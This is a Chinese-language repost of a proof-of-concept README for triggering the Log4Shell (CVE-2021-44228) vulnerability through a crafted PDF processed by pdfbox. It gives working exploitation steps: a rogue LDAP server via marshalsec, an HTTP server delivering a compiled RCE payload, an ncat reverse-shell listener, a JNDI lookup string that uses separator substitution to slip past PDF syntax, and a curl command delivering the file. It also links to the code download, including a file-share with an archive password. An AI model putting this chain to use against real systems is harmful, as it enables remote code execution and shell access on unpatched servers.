以PDF文件作为媒介触发log4j CVE-2021-44228漏洞

以PDF文件作为媒介触发log4j CVE-2021-44228漏洞

该项目的目的是使用 PDF 作为交付渠道来演示带有 Log4J 漏洞的 Log4Shell 漏洞利用.

使用 PDF 作为交付渠道利用 CVE-2021-44228 – PoC

该项目的目的是使用 PDF 作为交付渠道来演示带有 Log4J 漏洞的 Log4Shell 漏洞利用。

目标是:

  • 小心地制作一个包含 JNDI 查找有效负载的格式错误的 PDF 文件
  • 强制pdfbox库记录包含 JNDI 查找负载的 ERROR/WARN 消息

免责声明

  • 此 PoC 仅用于提供信息和教育目的
  • 所有信息都旨在培养黑客防御态度并帮助防止黑客攻击。

设置

该存储库包含一个使用 pdfbox 库处理 PDF 文件的 Web 应用程序,它容易受到 CVE-2021-44228 的攻击

  • org.apache.pdfbox:pdfbox:2.0.24(最新版本)
  • org.apache.logging.log4j:log4j-core:2.14.1
  • openjdk:8u181-jdk-alpine

com.sun.jndi.ldap.object.trustURLCodebase其设置为true

构建易受攻击的应用程序

构建 docker 容器:

docker run -p 8080:8080 --name pdfbox-server pdfbox-server

漏洞利用(Exp)

  1. 运行易受攻击的应用程序
docker run -p 8080:8080 --name pdfbox-server pdfbox-server
以PDF文件作为媒介触发log4j CVE-2021-44228漏洞
  1. 启动流氓 LDAP 服务器

根据您的设置相应地更改 IP

git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.26.160.1:8888/#RCE"
  1. 编译 RCE 负载并启动用于传送负载的 HTTP 服务器

编辑RCE.java文件并根据您的设置更改主机变量

cd exploit
javac RCE.java
python -m http.server 8888

4.启动反向 shell 侦听器

ncat -lvnp 4444
  1. 修改PDF

template.pdf在任何编辑器中打开文件并更改查找表达式。因为/是 PDF 规范中的保留字符,所以我使用了递归变量替换查找功能。

${jndi:ldap:${sys:file.separator}${sys:file.separator}172.26.160.1:1389${sys:file.separator}RCE}
以PDF文件作为媒介触发log4j CVE-2021-44228漏洞

6.触发漏洞利用

curl -i -s -X POST http://127.0.0.1:8080/api/parse --data-binary "@template.pdf"
以PDF文件作为媒介触发log4j CVE-2021-44228漏洞

项目地址

GitHub:

https://github.com/eelyvy/log4jshell-pdf

源码下载地址

①GitHub

https://github.com/eelyvy/log4jshell-pdf.zip

②云中转网盘:

https://yzzpan.com/#sharefile=ZXRwjvpp_25992
解压密码:www.ddosi.org

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注